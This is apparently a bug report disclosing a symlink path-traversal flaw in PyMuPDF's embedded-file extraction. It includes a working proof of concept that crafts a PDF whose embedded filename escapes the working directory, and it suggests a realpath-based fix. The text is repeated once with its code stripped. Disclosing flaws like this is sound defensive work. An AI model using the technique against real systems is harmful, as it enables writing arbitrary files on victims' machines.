Description of the bug
embedded_get() in src/__main__.py is vulnerable to path traversal via symlink. The function uses os.path.abspath() to validate that an embedded file's stored name stays within the current working directory, but abspath() is purely lexical — it does not resolve symbolic links. The subsequent open(filename, "wb") follows symlinks at runtime, allowing an attacker-crafted PDF to write arbitrary files outside the current directory.
Vulnerable code path:
filename = args.output if args.output else d["filename"]
if not args.unsafe and not args.output:
...
filename_abs = os.path.abspath(filename) # lexical only
if not filename_abs.startswith(os.getcwd() + os.sep): # check passes
sys.exit(...)
with open(filename, "wb") as output: # follows symlinks
output.write(stream)
The root cause is that os.path.abspath() normalizes the path string without touching the filesystem, while open() resolves the full symlink chain at write time.
How to reproduce the bug
Setup:
rm -rf /tmp/poc_workdir /tmp/poc_escaped
mkdir /tmp/poc_workdir /tmp/poc_escaped
ln -s /tmp/poc_escaped /tmp/poc_workdir/link
Craft a PDF with embedded filename link/pwned.txt:
python3 -c "
import pymupdf
doc = pymupdf.open()
doc.insert_page(-1)
doc.embfile_add('payload', b'PROOF_OF_ESCAPE', filename='link/pwned.txt')
doc.save('/tmp/poc_workdir/evil.pdf')
doc.close()
"
Show that the abspath guard passes while the real destination is outside cwd:
python3 -c "
import os; os.chdir('/tmp/poc_workdir')
f = 'link/pwned.txt'
print('abspath: ', os.path.abspath(f))
print('realpath:', os.path.realpath(f))
print('cwd: ', os.getcwd())
print('guard passes:', os.path.abspath(f).startswith(os.getcwd() + os.sep))
print('actually inside cwd:', os.path.realpath(f).startswith(os.getcwd() + os.sep))
"
Extract via the CLI:
cd /tmp/poc_workdir && python3 -m pymupdf embed-extract evil.pdf -name payload
Confirm the file landed outside the working directory:
cat /tmp/poc_escaped/pwned.txt
Output: PROOF_OF_ESCAPE. The write went through the symlink to /tmp/poc_escaped/, completely outside /tmp/poc_workdir/.
Cleanup:
rm -rf /tmp/poc_workdir /tmp/poc_escaped
Suggested fix
Use os.path.realpath() instead of os.path.abspath():
filename_real = os.path.realpath(filename)
cwd_real = os.path.realpath(os.getcwd())
if not filename_real.startswith(cwd_real + os.sep):
sys.exit(f'refusing to write stored name outside current directory: {filename}')
PyMuPDF version
1.28.2
Operating system
MacOS
Python version
3.11
Description of the bug
embedded_get()insrc/__main__.pyis vulnerable to path traversal via symlink. The function usesos.path.abspath()to validate that an embedded file's stored name stays within the current working directory, butabspath()is purely lexical — it does not resolve symbolic links. The subsequentopen(filename, "wb")follows symlinks at runtime, allowing an attacker-crafted PDF to write arbitrary files outside the current directory.Vulnerable code path:
The root cause is that
os.path.abspath()normalizes the path string without touching the filesystem, whileopen()resolves the full symlink chain at write time.How to reproduce the bug
Setup:
Craft a PDF with embedded filename
link/pwned.txt:Show that the abspath guard passes while the real destination is outside cwd:
Extract via the CLI:
Confirm the file landed outside the working directory:
Output:
PROOF_OF_ESCAPE. The write went through the symlink to/tmp/poc_escaped/, completely outside/tmp/poc_workdir/.Cleanup:
Suggested fix
Use
os.path.realpath()instead ofos.path.abspath():PyMuPDF version
1.28.2
Operating system
MacOS
Python version
3.11